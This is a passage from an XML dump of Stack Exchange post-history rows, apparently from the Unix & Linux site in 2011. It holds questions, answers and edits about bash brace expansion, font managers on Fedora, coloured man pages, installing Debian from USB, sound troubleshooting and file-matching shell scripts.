*.{mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;&#xD;&#xA;could be the clue to `.bash_profile` not working.  For example, it might mean you are using `zsh`.&#xD;&#xA;&#xD;&#xA;Please tell us what this does:&#xD;&#xA;&#xD;&#xA;    echo $0&#xD;&#xA;&#xD;&#xA;so we can figure out which file you have to put it in." />
  <row Id="14658" PostHistoryTypeId="2" PostId="6415" RevisionGUID="01821ea0-e6a6-4121-a9a9-22d7fcd9089d" CreationDate="2011-01-25T02:30:42.690" UserId="327" Text="I am looking to do some font management on my Fedora system. I have installed both Font Manager and Fontmatrix. My goal was to be able to have more fonts installed than I wanted displayed, and to be able to enable/disable fonts (or groups thereof) whenever I wanted to.&#xD;&#xA;&#xD;&#xA;Both programs claim to enable or disable fonts. I can't seem to get Fontmatrix to do anything other than be a comprehensive font information source (glyphs, etc.) The enable/disable doesn't appear to work, and the documentation is less than helpful.&#xD;&#xA;&#xD;&#xA;I am able to disable/enable fonts in Font Manager. I had to recreate my Gnome settings, though, because I accidentally disabled all fonts, and even re-enabling them did not fix my panel fonts. There wasn't anything I could do, short of removing my local configuration and logging out/in, that would get those fonts back.&#xD;&#xA;&#xD;&#xA;So. What exactly do these programs **do** when they disable a font? And what trashed my panel fonts? I know Monospace was still installed/enabled, and nothing I could do would change the panel information.&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;" />
  <row Id="14659" PostHistoryTypeId="1" PostId="6415" RevisionGUID="01821ea0-e6a6-4121-a9a9-22d7fcd9089d" CreationDate="2011-01-25T02:30:42.690" UserId="327" Text="How do font managers work in Fedora?" />
  <row Id="14660" PostHistoryTypeId="3" PostId="6415" RevisionGUID="01821ea0-e6a6-4121-a9a9-22d7fcd9089d" CreationDate="2011-01-25T02:30:42.690" UserId="327" Text="égnomeàéfedoraàéfontsà" />
  <row Id="14661" PostHistoryTypeId="5" PostId="6413" RevisionGUID="7b070977-f335-4957-9f75-c97766929038" CreationDate="2011-01-25T02:38:51.937" UserId="3169" Comment="deleted 27 characters in body" Text="Your command is being expanded to this:&#xD;&#xA;&#xD;&#xA;    export VIDEOS=mp4 VIDEOS=wmv VIDEOS=avi VIDEOS=flv VIDEOS=mkv VIDEOS=m4u VIDEOS=mpg VIDEOS=mpeg&#xD;&#xA;&#xD;&#xA;Run this to see what's happening:&#xD;&#xA;&#xD;&#xA;    echo export VIDEOS={mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;&#xD;&#xA;(it's called [brace expansion][1])&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Brace-Expansion&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;The second problem is that `bash` does brace expansion before parameter expansion, not after it, so anything that looks like your solution will be messy.&#xD;&#xA;&#xD;&#xA;You would have to do something like this:&#xD;&#xA;&#xD;&#xA;    eval echo \*.$VIDEOS&#xD;&#xA;&#xD;&#xA;which will get annoying to type every time.&#xD;&#xA;&#xD;&#xA;How about something like this:&#xD;&#xA;&#xD;&#xA;    videos() {&#xD;&#xA;        find . -mindepth 1 -maxdepth 1 -type f \&#xD;&#xA;            \( -name &quot;*.mp4&quot; -o -name &quot;*.wmv&quot; -o -name &quot;*.avi&quot; -o \&#xD;&#xA;               -name &quot;*.flv&quot; -o -name &quot;*.mkv&quot; -o -name &quot;*.m4u&quot; -o \&#xD;&#xA;               -name &quot;*.mpg&quot; -o -name &quot;*.mpeg&quot; \)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then instead of doing:&#xD;&#xA;&#xD;&#xA;    ls *.$VIDEOS&#xD;&#xA;&#xD;&#xA;just do this:&#xD;&#xA;&#xD;&#xA;    videos&#xD;&#xA;&#xD;&#xA;or if you need to pass it to a command:&#xD;&#xA;&#xD;&#xA;    ls $(videos)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;This part working:&#xD;&#xA;&#xD;&#xA;    echo *.{mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;&#xD;&#xA;could be the clue to `.bash_profile` not working.  For example, it might mean you are using `zsh`.&#xD;&#xA;&#xD;&#xA;Please tell us what this does:&#xD;&#xA;&#xD;&#xA;    echo $0&#xD;&#xA;&#xD;&#xA;so we can figure out which file you have to put it in." />
  <row Id="14662" PostHistoryTypeId="2" PostId="6416" RevisionGUID="7cca7029-c372-468f-88da-37c887db1717" CreationDate="2011-01-25T02:56:45.713" UserId="3389" Text="A microkernel limits the time the system is in kernel mode, as opposed to userspace, to the absolute minimum possible.  &#xD;&#xA;&#xD;&#xA;If a crash happens in kernel mode, the entire kernel goes down, and that means the entire system goes down.  If a crash happens in user mode, just that process goes down.  Linux is robust in this regard, but it's still possible for any kernel subsystem to write over the memory of any other kernel subsystem, either purposefully or accidentally.&#xD;&#xA;&#xD;&#xA;The microkernel concept puts a lot of stuff that is traditionally kernel mode, such as networking and device drivers, in userspace.  Since the microkernel isn't really responsible for a lot, that also means it can be simpler and more reliable.  Think of the way the IP protocol, by being simple and stupid, really leads to robust networks by pushing complexity to the edges and leaving the core lean and mean.&#xD;&#xA;" />
  <row Id="14663" PostHistoryTypeId="2" PostId="6417" RevisionGUID="8c1cc013-e882-47e4-8c7d-e667a5a4cc3f" CreationDate="2011-01-25T03:59:39.847" UserId="4156" Text="You might try logging out of your desktop and logging back in.  Sometimes this is enough to kill any locks, delete tmp files, reset any other configuration gizmos that might have gotten left by a mis-behaving application.  You might also try poking through the Sound Preferences configuration for the hardware selections and make sure that your selected output hardware looks correct.&#xD;&#xA;&#xD;&#xA;Knowing which distro you're using might help in getting more suggestions." />
  <row Id="14664" PostHistoryTypeId="2" PostId="6418" RevisionGUID="3eea0fd6-1c9d-43f9-a896-54aaa103bfad" CreationDate="2011-01-25T04:30:39.963" UserId="4158" Text="You could probably use arrays for this. Your syntax will have to be a bit different:&#xD;&#xA;&#xD;&#xA;    export VIDEOS=(.mp4 .wmv .avi .flv .mkv .m4u .mpg .mpeg)&#xD;&#xA;&#xD;&#xA;and then do &#xD;&#xA;&#xD;&#xA;    ls ${VIDEOS[*]/./*.}&#xD;&#xA;&#xD;&#xA;If you only want to list videos with names starting with `foo`, you would do&#xD;&#xA;&#xD;&#xA;    ls ${VIDEOS[*]/./foo*.}&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14665" PostHistoryTypeId="25" PostId="6412" RevisionGUID="4ea55a99-6a86-4c2e-8a41-7d977afd7c77" CreationDate="2011-01-25T04:55:49.113" Comment="http://twitter.com/#!/StackUnix/status/29764351741140992" />
  <row Id="14666" PostHistoryTypeId="2" PostId="6419" RevisionGUID="3470f01d-83c6-4f39-8ffd-31cbb8cdaab5" CreationDate="2011-01-25T05:04:58.963" UserId="2469" Text="I learned of a way to install Debian from USB using the netinstall image, which is fine. However it means I have to spend hours and hours downloading packages to do the install. Is there a way I can simply download (for example) the CD1 with most of gnome and then use that? The netinstall method using this does not work because there is not enough space. (I have enough space, it is that the method has a limitation). I rarely have CDs on hand and some machines do not have CD/DVD drives anyway.&#xD;&#xA;&#xD;&#xA;I will research on this topic and answer my own question if need be, however any help in the meantime is appreciated." />
  <row Id="14667" PostHistoryTypeId="1" PostId="6419" RevisionGUID="3470f01d-83c6-4f39-8ffd-31cbb8cdaab5" CreationDate="2011-01-25T05:04:58.963" UserId="2469" Text="How to install Debian from USB? (Using full size image not netinstall)" />
  <row Id="14668" PostHistoryTypeId="3" PostId="6419" RevisionGUID="3470f01d-83c6-4f39-8ffd-31cbb8cdaab5" CreationDate="2011-01-25T05:04:58.963" UserId="2469" Text="édebianàéinstallàéusbà" />
  <row Id="14669" PostHistoryTypeId="2" PostId="6420" RevisionGUID="cf8a1e5d-dc02-4d71-82f7-455d9bd8e679" CreationDate="2011-01-25T05:08:42.373" UserId="4159" Text="i'm trying to create a custom cd using my own minimal debian installed setup.&#xD;&#xA;&#xD;&#xA;i just simply typed `build-simple-cdd`. The process was successful, but when i tested it on my virtualbox and disabling the network, it looks for " />
  <row Id="14670" PostHistoryTypeId="1" PostId="6420" RevisionGUID="cf8a1e5d-dc02-4d71-82f7-455d9bd8e679" CreationDate="2011-01-25T05:08:42.373" UserId="4159" Text="creating a completely offline installer using simple-cdd" />
  <row Id="14671" PostHistoryTypeId="3" PostId="6420" RevisionGUID="cf8a1e5d-dc02-4d71-82f7-455d9bd8e679" CreationDate="2011-01-25T05:08:42.373" UserId="4159" Text="édebianàésqueezeà" />
  <row Id="14672" PostHistoryTypeId="5" PostId="6010" RevisionGUID="09b93641-31dd-4e6e-aab0-866e15616e0f" CreationDate="2011-01-25T05:09:58.850" UserId="2416" Comment="added 238 characters in body" Text="I have a problem using this methods [1][1] to get colors in my man pages in gentoo. I already in the gentoo forums but it still doesn't work, and the comments in a bug report ([Bug 184604][2]) doesn't work either. Can someone help me to get colours in my man pages?&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;Yes, I'm using less as pager and urxvt-unicode as terminal emulator&#xD;&#xA;&#xD;&#xA;EDIT2&#xD;&#xA;&#xD;&#xA;I already asked in the gentoo forums but it didn't help, this is the link I couln't post before (because of my reputation) http://forums.gentoo.org/viewtopic-t-819833-start-0.html.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/119/colors-in-man-pages&#xD;&#xA;  [2]: http://bugs.gentoo.org/184604" />
  <row Id="14673" PostHistoryTypeId="5" PostId="6357" RevisionGUID="a2eec838-2eb6-465d-ac03-aaa3bf718d7a" CreationDate="2011-01-25T05:34:30.313" UserId="3169" Comment="deleted 605 characters in body; edited body" Text="Could be a number of problems.&#xD;&#xA;&#xD;&#xA;Seeing as you're using `zsh`, try putting this in your `~/.zshrc`:&#xD;&#xA;&#xD;&#xA;    export LESS_TERMCAP_mb=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_md=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_me=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_se=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_so=$'\E[01;47;34m'&#xD;&#xA;    export LESS_TERMCAP_ue=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_us=$'\E[01;32m'&#xD;&#xA;    export LESS=-r&#xD;&#xA;&#xD;&#xA;Then open a new terminal window and try running&#xD;&#xA;&#xD;&#xA;    man ls&#xD;&#xA;&#xD;&#xA;if it's not working, run each of the following to find out where the problem is:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 1**&#xD;&#xA;&#xD;&#xA;    typeset -p LESS_TERMCAP_md | cat -v&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    typeset -x LESS_TERMCAP_md=&quot;^[[01;31m&quot;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    typeset -p LESS&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    typeset -x LESS=&quot;-r&quot;&#xD;&#xA;&#xD;&#xA;if not, you put the `export LESS` stuff in the wrong file.&#xD;&#xA; &#xD;&#xA;---&#xD;&#xA;**Number 2**&#xD;&#xA;&#xD;&#xA;    echo &quot;${LESS_TERMCAP_md}red${LESS_TERMCAP_me}&quot;&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    red&#xD;&#xA;&#xD;&#xA;in a red color.  If it doesn't there is something wrong with your terminal settings.  Check your terminal settings (e.g. `~/.Xresources`) or try running `gnome-terminal` or `xterm` and see if that works.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 3**&#xD;&#xA;&#xD;&#xA;    echo -E &quot;a^Ha&quot; | LESS= less -r&#xD;&#xA;&#xD;&#xA;(`^H` must be entered by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;)&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    a&#xD;&#xA;&#xD;&#xA;in red.   If it doesn't, please run these&#xD;&#xA;&#xD;&#xA;    type less&#xD;&#xA;    less --version&#xD;&#xA;&#xD;&#xA;and paste the output back in your question.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 4**&#xD;&#xA;&#xD;&#xA;    bzcat /usr/share/man/man1/ls.1.bz2 | \&#xD;&#xA;        /bin/sh /usr/bin/nroff -mandoc -Tutf8 | less&#xD;&#xA;&#xD;&#xA;should display the `ls` man page with colors.&#xD;&#xA;&#xD;&#xA;With any luck, you have now found the problem." />
  <row Id="14675" PostHistoryTypeId="2" PostId="6421" RevisionGUID="f78eff08-e0d7-4313-bbb2-9b6c4c4908b2" CreationDate="2011-01-25T06:00:22.077" UserId="250" Text="How about downloading the CD1 ISO, then [put it on a USB and boot][1]? (My favourite)&#xD;&#xA;&#xD;&#xA;How about using an automated tool such as [UNetbootin][2]?&#xD;&#xA;&#xD;&#xA;Here is another tool from [Pendrivelinux][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/665/250&#xD;&#xA;  [2]: http://unetbootin.sourceforge.net/&#xD;&#xA;  [3]: http://www.pendrivelinux.com/boot-multiple-iso-from-usb-multiboot-usb/" />
  <row Id="14676" PostHistoryTypeId="5" PostId="6357" RevisionGUID="8621fc01-0c91-4b2c-8238-09ac563cc934" CreationDate="2011-01-25T06:11:22.420" UserId="3169" Comment="added 298 characters in body; added 6 characters in body" Text="Could be a number of problems.&#xD;&#xA;&#xD;&#xA;Seeing as you're using `zsh`, try putting this in your `~/.zshrc`:&#xD;&#xA;&#xD;&#xA;    export LESS_TERMCAP_mb=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_md=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_me=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_se=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_so=$'\E[01;47;34m'&#xD;&#xA;    export LESS_TERMCAP_ue=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_us=$'\E[01;32m'&#xD;&#xA;    export LESS=-r&#xD;&#xA;&#xD;&#xA;Then open a new terminal window and try running&#xD;&#xA;&#xD;&#xA;    man ls&#xD;&#xA;&#xD;&#xA;if it's not working, run each of the following to find out where the problem is:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 1**&#xD;&#xA;&#xD;&#xA;    typeset -p LESS_TERMCAP_md | cat -v&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    typeset -x LESS_TERMCAP_md=&quot;^[[01;31m&quot;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    typeset -p LESS&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    typeset -x LESS=&quot;-r&quot;&#xD;&#xA;&#xD;&#xA;if not, you put the `export LESS` stuff in the wrong file.&#xD;&#xA; &#xD;&#xA;---&#xD;&#xA;**Number 2**&#xD;&#xA;&#xD;&#xA;    echo &quot;${LESS_TERMCAP_md}red${LESS_TERMCAP_me}&quot;&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    red&#xD;&#xA;&#xD;&#xA;in a red color.  If it doesn't there is something wrong with your terminal settings.  Check your terminal settings (e.g. `~/.Xresources`) or try running `gnome-terminal` or `xterm` and see if that works.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 3**&#xD;&#xA;&#xD;&#xA;    echo -E &quot;a^Ha&quot; | LESS= less -r&#xD;&#xA;&#xD;&#xA;(`^H` must be entered by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;)&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    a&#xD;&#xA;&#xD;&#xA;in red.   If it doesn't, please run these&#xD;&#xA;&#xD;&#xA;    type less&#xD;&#xA;    less --version&#xD;&#xA;&#xD;&#xA;and paste the output back in your question.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 4**&#xD;&#xA;&#xD;&#xA;    bzcat /usr/share/man/man1/ls.1.bz2 | \&#xD;&#xA;        /bin/sh /usr/bin/nroff -mandoc -Tutf8  | head -n 5 | cat -v&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    LS(1)                            User Commands                           LS(1)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    N^HNA^HAM^HME^HE&#xD;&#xA;&#xD;&#xA;(note the `^H` like in step number 3)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 5**&#xD;&#xA;&#xD;&#xA;    bzcat /usr/share/man/man1/ls.1.bz2 | \&#xD;&#xA;        /bin/sh /usr/bin/nroff -mandoc -Tutf8 | less&#xD;&#xA;&#xD;&#xA;should display the `ls` man page with colors.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    man ls&#xD;&#xA;&#xD;&#xA;should now be working!" />
  <row Id="14677" PostHistoryTypeId="5" PostId="6420" RevisionGUID="136f39a7-033d-407e-b974-fa0fe8d83194" CreationDate="2011-01-25T06:14:46.587" UserId="4159" Comment="edited" Text="i'm trying to create a custom cd using my own minimal debian installed setup.&#xD;&#xA;&#xD;&#xA;i just simply typed `build-simple-cdd`. The process was successful, but when i tested it on my virtualbox and disabling the network, it looks for the kernel.&#xD;&#xA;&#xD;&#xA;did i missed anything on my setup?" />
  <row Id="14678" PostHistoryTypeId="5" PostId="6357" RevisionGUID="32abc2df-8123-4c4b-8946-fb1d6e7b7c59" CreationDate="2011-01-25T06:51:10.717" UserId="3169" Comment="add sgr escape sequences to answer; deleted 13 characters in body" Text="Could be a number of problems.&#xD;&#xA;&#xD;&#xA;Seeing as you're using `zsh`, try putting this in your `~/.zshrc`:&#xD;&#xA;&#xD;&#xA;    export LESS_TERMCAP_mb=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_md=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_me=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_se=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_so=$'\E[01;47;34m'&#xD;&#xA;    export LESS_TERMCAP_ue=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_us=$'\E[01;32m'&#xD;&#xA;    export LESS=-r&#xD;&#xA;&#xD;&#xA;Then open a new terminal window and try running&#xD;&#xA;&#xD;&#xA;    man ls&#xD;&#xA;&#xD;&#xA;if it's not working, run each of the following to find out where the problem is:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 1**&#xD;&#xA;&#xD;&#xA;    typeset -p LESS_TERMCAP_md | cat -v&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    typeset -x LESS_TERMCAP_md=&quot;^[[01;31m&quot;&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    typeset -p LESS&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    typeset -x LESS=&quot;-r&quot;&#xD;&#xA;&#xD;&#xA;if not, you put the `export LESS` stuff in the wrong file.&#xD;&#xA; &#xD;&#xA;---&#xD;&#xA;**Number 2**&#xD;&#xA;&#xD;&#xA;    echo &quot;${LESS_TERMCAP_md}red${LESS_TERMCAP_me}&quot;&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    red&#xD;&#xA;&#xD;&#xA;in a red color.  If it doesn't there is something wrong with your terminal settings.  Check your terminal settings (e.g. `~/.Xresources`) or try running `gnome-terminal` or `xterm` and see if that works.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 3**&#xD;&#xA;&#xD;&#xA;    echo -E &quot;a^Ha&quot; | LESS= less -r&#xD;&#xA;&#xD;&#xA;(`^H` must be entered by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;)&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    a&#xD;&#xA;&#xD;&#xA;in red.   If it doesn't, please run these&#xD;&#xA;&#xD;&#xA;    type less&#xD;&#xA;    less --version&#xD;&#xA;&#xD;&#xA;and paste the output back in your question.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 4**&#xD;&#xA;&#xD;&#xA;    bzcat /usr/share/man/man1/ls.1.bz2 | \&#xD;&#xA;        /bin/sh /usr/bin/nroff -mandoc -Tutf8  | head -n 5 | cat -v&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    LS(1)                            User Commands                           LS(1)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    N^HNA^HAM^HME^HE&#xD;&#xA;&#xD;&#xA;(note the `^H` like in step number 3)&#xD;&#xA;&#xD;&#xA;if it's printing something like:&#xD;&#xA;&#xD;&#xA;    LS(1)                            User Commands                           LS(1)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ^[[1mNAME^[[0m&#xD;&#xA;&#xD;&#xA;instead, you will need to find a way to disable &quot;sgr escape sequences&quot;.  The easiest thing to try is adding `export GROFF_NO_SGR=1` to `.zshrc`, but there are other ways of fixing this.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 5**&#xD;&#xA;&#xD;&#xA;    bzcat /usr/share/man/man1/ls.1.bz2 | \&#xD;&#xA;        /bin/sh /usr/bin/nroff -mandoc -Tutf8 | less&#xD;&#xA;&#xD;&#xA;should display the `ls` man page with colors.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    man ls&#xD;&#xA;&#xD;&#xA;should now be working!" />
  <row Id="14679" PostHistoryTypeId="2" PostId="6422" RevisionGUID="ec98148e-334b-4ccd-9344-1193a120a643" CreationDate="2011-01-25T07:09:05.567" UserId="4161" Text="It might be because of pulseaudio.&#xD;&#xA;kill it and trying rerunning the application.&#xD;&#xA;good luck. &#xD;&#xA;" />
  <row Id="14680" PostHistoryTypeId="2" PostId="6423" RevisionGUID="4bab7fde-3bfb-493b-b3be-07bafb96c6fc" CreationDate="2011-01-25T07:10:33.093" UserId="1946" Text="How about something like this:&#xD;&#xA;&#xD;&#xA;    src=/mnt/driveA&#xD;&#xA;    dst=/mnt/driveB&#xD;&#xA;&#xD;&#xA;    cd $src&#xD;&#xA;    find . -name &lt;PATTERN&gt; -type f &gt;/tmp/srclist&#xD;&#xA;    cd $dst&#xD;&#xA;    find . -name &lt;PATTERN&gt; -type f &gt;/tmp/dstlist&#xD;&#xA;&#xD;&#xA;    cat /tmp/srclist | while read srcpath; do&#xD;&#xA;        name=`basename &quot;$srcpath&quot;`&#xD;&#xA;        srcdir=`dirname &quot;$srcpath&quot;`&#xD;&#xA;        dstpath=`grep &quot;/${name}\$&quot; /tmp/dstlist`&#xD;&#xA;&#xD;&#xA;        mkdir -p &quot;$srcdir&quot;&#xD;&#xA;        cd &quot;$srcdir&quot; &amp;&amp; ln -s &quot;$dstpath&quot; &quot;$name&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This assumes that names of the files you want to sync are unique across the whole drive: otherwise there's no way it can be fully automated (however, you can provide a prompt for user to choose which file to pick if there's more that one.)&#xD;&#xA;&#xD;&#xA;The script above will work in simple cases, but may fail if `name` happens to contain symbols which have special meaning for regexps.  The `grep` on list of files can also take a lot of time if there's lot of files.  You may consider translating this code to use hashtable which will map filenames to paths, e.g. in Ruby.&#xD;&#xA;" />
  <row Id="14681" PostHistoryTypeId="2" PostId="6424" RevisionGUID="49a24e18-009c-4477-8d29-2d88529f6c99" CreationDate="2011-01-25T07:13:07.963" UserId="4161" Text="FFMPEG might be a helpful solution for you. &#xD;&#xA;man ffmpeg" />
  <row Id="14682" PostHistoryTypeId="5" PostId="6410" RevisionGUID="d9f7c31c-b97a-467f-85a5-fa2d358d0ccb" CreationDate="2011-01-25T07:14:22.713" UserId="688" Comment="added 255 characters in body; edited tags" Text="Just a few minutes ago my sound was working, and then it stopped! I suspect it was caused by me checking out some video editors. How do I go about troubleshooting this?&#xD;&#xA;&#xD;&#xA;What I've so far tried:&#xD;&#xA;&#xD;&#xA;* I ran `lsof | grep audio` and `lsof | grep delete` to see if there's any process locking the audio path(?), but nothing looks suspect.&#xD;&#xA;* VLC and MPlayer are affected, while [Quod Libet][1] (GStreamer) isn't.&#xD;&#xA;&#xD;&#xA;[**update**] Strange one. I don't know if it has anything to do with Quod Libet, but I noticed that after closing (and reopening) it, the problem seemed to disappear. Note that I haven't logged out yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/quodlibet/" />
  <row Id="14683" PostHistoryTypeId="6" PostId="6410" RevisionGUID="d9f7c31c-b97a-467f-85a5-fa2d358d0ccb" CreationDate="2011-01-25T07:14:22.713" UserId="688" Comment="added 255 characters in body; edited tags" Text="édebianàégnomeàéaudioàétroubleshootingà" />
  <row Id="14684" PostHistoryTypeId="2" PostId="6425" RevisionGUID="73322d58-ce40-4272-b910-8fc44d76bb88" CreationDate="2011-01-25T07:17:06.290" UserId="4161" Text="http://www.linuxalt.com/&#xD;&#xA;&#xD;&#xA;bookmark it for future reference :)" />
  <row Id="14685" PostHistoryTypeId="2" PostId="6426" RevisionGUID="338e3943-84ac-4eca-8c83-b8cd018ac940" CreationDate="2011-01-25T07:20:37.390" UserId="4161" Text="https://wiki.ubuntu.com/HardwareSupport/Machines/Netbooks&#xD;&#xA;&#xD;&#xA;this might be helpful for you" />
  <row Id="14686" PostHistoryTypeId="5" PostId="6422" RevisionGUID="1946b014-8790-483e-bfcd-3a233c5bbb7f" CreationDate="2011-01-25T07:26:05.553" UserId="73" Comment="deleted 14 characters in body" Text="It might be because of pulseaudio. Try killing it and rerunning the application.&#xD;&#xA;" />
  <row Id="14687" PostHistoryTypeId="5" PostId="6425" RevisionGUID="35abc984-2fa0-401a-9a2d-8883170c20d4" CreationDate="2011-01-25T07:26:48.953" UserId="73" Comment="added 25 characters in body" Text="http://www.linuxalt.com/ shows Linux equivalents for Windows software; that might help&#xD;&#xA;" />
  <row Id="14688" PostHistoryTypeId="5" PostId="6424" RevisionGUID="7804f11a-3af6-49e6-9408-dd302e463602" CreationDate="2011-01-25T07:28:07.347" UserId="73" Comment="added 8 characters in body" Text="FFMPEG might be a helpful solution for you. &#xD;&#xA;&#xD;&#xA;    $ man ffmpeg" />
  <row Id="14689" PostHistoryTypeId="25" PostId="6419" RevisionGUID="5b81927e-8d26-4384-a59d-bae18bf4b9c4" CreationDate="2011-01-25T07:55:49.070" Comment="http://twitter.com/#!/StackUnix/status/29809650023014400" />
  <row Id="14690" PostHistoryTypeId="2" PostId="6427" RevisionGUID="ddafc7c7-8fc9-4471-95b4-f951389be689" CreationDate="2011-01-25T08:33:08.217" UserId="688" Text="My favorite indexer [doesn't have this capability][1], and I'm looking for an alternative that does.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.gnome.org/show_bug.cgi?id=615857" />
  <row Id="14691" PostHistoryTypeId="1" PostId="6427" RevisionGUID="ddafc7c7-8fc9-4471-95b4-f951389be689" CreationDate="2011-01-25T08:33:08.217" UserId="688" Text="Which desktop indexer indexes xml file content?" />
  <row Id="14692" PostHistoryTypeId="3" PostId="6427" RevisionGUID="ddafc7c7-8fc9-4471-95b4-f951389be689" CreationDate="2011-01-25T08:33:08.217" UserId="688" Text="ésearchà" />
  <row Id="14693" PostHistoryTypeId="2" PostId="6428" RevisionGUID="745a004e-87cd-493f-af4e-27c1c6626b4d" CreationDate="2011-01-25T08:55:39.640" UserId="2881" Text="This is only half an answer, but I have to get back to work :)&#xD;&#xA;&#xD;&#xA;Basically, I wanted to demonstrate the little-known `join` utility which does just that: joins two tables on a some field.&#xD;&#xA;&#xD;&#xA;First, set up a test case including file names with spaces:&#xD;&#xA;&#xD;&#xA;    for d in a b 'c c'; do mkdir -p &quot;old/$d&quot;; echo $RANDOM &gt; &quot;old/${d}/${d}.txt&quot;; done&#xD;&#xA;    cp -r old new&#xD;&#xA;&#xD;&#xA;(edit some directory and/or file names in `new`).&#xD;&#xA;&#xD;&#xA;Now, we want to build a map: hash -&gt; filename for each directory and then use `join` to match up files with the same hash. To generate the map, put the following in `makemap.sh`:&#xD;&#xA;&#xD;&#xA;    find &quot;$1&quot; -type f -exec md5 -r &quot;{}&quot; \; \&#xD;&#xA;      | sed &quot;s/\([a-z0-9]*\) ${1}\/\(.*\)/\1 \&quot;\2\&quot;/&quot; \&#xD;&#xA;&#xD;&#xA;`makemap.sh` spits out a file with lines of the form, 'hash &quot;filename&quot;', so we just join on the first column: &#xD;&#xA;&#xD;&#xA;    join &lt;(./makemap.sh 'old') &lt;(./makemap.sh 'new') &gt;moves.txt&#xD;&#xA;&#xD;&#xA;This generates `moves.txt` which looks like this:&#xD;&#xA;&#xD;&#xA;    49787681dd7fcc685372784915855431 &quot;a/a.txt&quot; &quot;bar/a.txt&quot;&#xD;&#xA;    bfdaa3e91029d31610739d552ede0c26 &quot;c c/c c.txt&quot; &quot;c c/c c.txt&quot;&#xD;&#xA;&#xD;&#xA;The next step would be to actually do the moves, but my attempts got stuck on quoting... `mv -i` and `mkdir -p` should come handy." />
